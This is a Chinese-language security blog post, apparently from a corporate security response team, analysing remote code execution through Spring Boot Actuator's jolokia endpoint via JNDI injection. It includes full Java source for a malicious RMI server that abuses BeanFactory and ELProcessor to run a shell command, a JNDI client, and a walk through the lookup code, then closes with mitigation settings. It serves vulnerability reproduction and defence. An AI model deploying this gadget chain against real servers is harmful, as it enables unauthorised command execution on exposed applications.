最近,在内部RSS聚合中,我们发现一篇 《exploit-spring-boot-actuators》 [1]。Spring Boot是目前非常流行的应用, 通过爱奇艺云扫描平台[2], 可定位内部多个正在使用Actuator的服务。

跟进分析后,我们发现这个漏洞是通过Spring Boot Actuator的jolokia接口利用JNDI来实现的,本文介绍PoC的复现及分析。

Spring Boot Acuator

Spring Boot Acuatorr可以帮助你监控和管理Spring Boot应用,比如健康检查、审计、统计和HTTP追踪等。所有的这些特性可以通过JMX或者HTTP endpoints来获得

常用的端点有:

health

显示应用的健康状态

env

显示当前的环境特性

info

显示应用的基本信息

如果是一个Web应用, 可以使用下述endpoint

jolokia

暴露在HTTP协议上的JMX beans

详细介绍请参考 《Spring Boot官方文档》 [3]:

JNDI

JDNI是Java技术中的一个指定的API, 为Java应用来提供命名与目录功能。 Java应用程序可以使用JDNI来存储与检索任何类型的Java对象.

编写过程

通过搜集信息, 我们总共了解到 /jolokia 接口有两个类可以实现命令执行:

  1. ch.qos.logback.classic reloadByURL

  2. org.apache.catalina.mbeans.MBeanFactory

对云扫描的资产中发现, 仅存在第2个类, 但是1,2 使用的都是JDNI注入, 通过RMI/LDAP调用。于是使用ysoseria.jar 生成一个rmi接口。 测试结果在jdk 8 上并没有成功。

根据参考资料[4], 自己利用 javax.EL.Processer 类来声明了一个RMI接口, 利用参考资料[5]的POC成功复现了,但是对于JDNI注入这里,还是有点不明白, 所以自己又调试了一下,以下是过程:

分析

  1. 先写一个RMI类, 使用ResourceRef调用javax.el.ELProcessor类中的eval方法; 绑定到1097端口上, 类中函数执行一个 touch /tmp/pwd.txt的操作

//

// Source code recreated from a .class file by IntelliJ IDEA

// (powered by Fernflower decompiler)

//

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import javax.naming.StringRefAddr;

import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {

public EvilRMIServerNew() {

}

public static void main(String[] args) throws Exception {

System.out.println("Creating evil RMI registry on port 1097");

Registry registry = LocateRegistry.createRegistry(1097);

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);

ref.add(new StringRefAddr("forceString", "x=eval"));

ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new

java.lang.ProcessBuilder["(java.lang.String[])"](["/bin/bash", "-c",

"touch /tmp/pwd.txt"]).start()")"));

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

registry.bind("Object", referenceWrapper);

}

}

2. 再写一个client类, 利用JDNI的lookup来加载一下

import javax.naming.Context;

import javax.naming.InitialContext;

public class JNDIClient {

public static void main(String[] args) throws Exception {

String uri = "rmi://localhost:1097/Object";

Context ctx = new InitialContext();

ctx.lookup(uri);

}

}

3.  过程如下

调用InitialContext类中的lookup方法

    public Object lookup(String name) throws NamingException {

    return getURLOrDefaultInitCtx(name).lookup(name);

    }

    再调用该类中的getURLOrDefaultInitCtx方法, 跳到hasInitialContextFactoryBuilder分支,进行getUrlContext函数

    该方法返回一个 getDefaultInitCtx()结果, 我们再看该函数返回了一个Context类, 并用该类的实例进行lookup函数查询name="rmi://localhost:1097/Object"的查找

    接着进入了RegistryContextlookup函数中,并调用了该类的decodeOjbect函数, 因为 在我们的server中, ReferenceWrapper类继承了接口RemoteReference, 所以进入了第一个分支中

    然后获取到了远程的obj

    由于 注册server中ref类继承了Reference, 所以我们获取到了一个ref对象, 并通过NamingManager.getObjectInstance来获取对象实例

     Reference ref = null;

    if (obj instanceof Reference) {

    ref = (Reference) obj;

    ...

    进入NamingManager.getObjectInstance 后, 首先获取到FactoryClassName, 上图可知,该类名为org.apache.naming.factory.BeanFactory, 然后由该工厂类的实例进入其getObjectInstance函数中

    if (ref != null) {

    String f = ref.getFactoryClassName();

    if (f != null) {

    // if reference identifies a factory, use exclusively

    factory = getObjectFactoryFromReference(ref, f);

    if (factory != null) {

    return factory.getObjectInstance(ref, name, nameCtx,

    environment);

    BeanFactory.getObjectInstance类中,部分代码如下,获取远程对象的forceString的值, 并以逗号来切分,再分别定位切分后的"="所在位置

    RefAddr ra = ref.get("forceString");

    Map<String, Method> forced = new HashMap();

    String value;

    String propName;

    int i;

    if (ra != null) {

    value = (String)ra.getContent();

    Class<?>[] paramTypes = new Class[]{String.class};

    String[] arr$ = value.split(","); //如果forceString的值有多少,就用","来切分

    i = arr$.length;

    for(int i$ = 0; i$ < i; ++i$) {

    String param = arr$[i$];

    param = param.trim();

    int index = param.indexOf(61); //对于切分后的每个值, 定位其中的"="

    if (index >= 0) {

    propName = param.substring(index + 1).trim();

    param = param.substring(0, index).trim();

    } else {

    propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);

    }

    try {

    forced.put(param, beanClass.getMethod(propName, paramTypes)); //forceString以=切分后的值 ,存储到HASHMAP中

    ...

    接下来就是一系列的whil(True)来获取对象的各种变量值; 最后通过method.invoke()如下图最终执行命令

    动图

    POC

所以最终的POC为, 使用EvilRMIServerNew在公网上开放一个端口, 将POC中的ldap接口改为自己的所在的端口即可,  详见71SRC的github: https://github.com/71src/code_share

漏洞缓解

开启security.enable或者启用单独的endpoint

  1. 在application.properties中设置 management.security.enabled=true

  2. 如果版本不对,可以直接设置 endpoint 的启用

    endpoints.enabled = false # 默认不启用

    endpoints.env.enabled = true # 仅开启 env 这个endpoints

  3. env, configprops等会泄露服务器信息, 建议关闭端点.  如果需要启用, 使用认证

    management.port=8099

    management.security.enabled=true

    security.user.name=admin

    security.user.password=admin

  4. 所有版本禁止设置使用* 通配符的配置

    management.endpoints.web.exposure.include=*

参考

  1. 【Exploiting Spring Boot Actuators】: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

  2. 【爱奇艺安全攻防实践】: https://github.com/71src/iqiyi_security_conference_2018

  3. 【Spring Boot官方文档】: https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html

  4. 【Exploiting JNDI Injections in Java】: https://www.veracode.com/blog/research/exploiting-jndi-injections-java

  5. 【Attack Spring Boot Actuator via jolokia Part 2 】: https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/

作者 | jiaxiaoyan

声明:本文来自爱奇艺安全应急响应中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。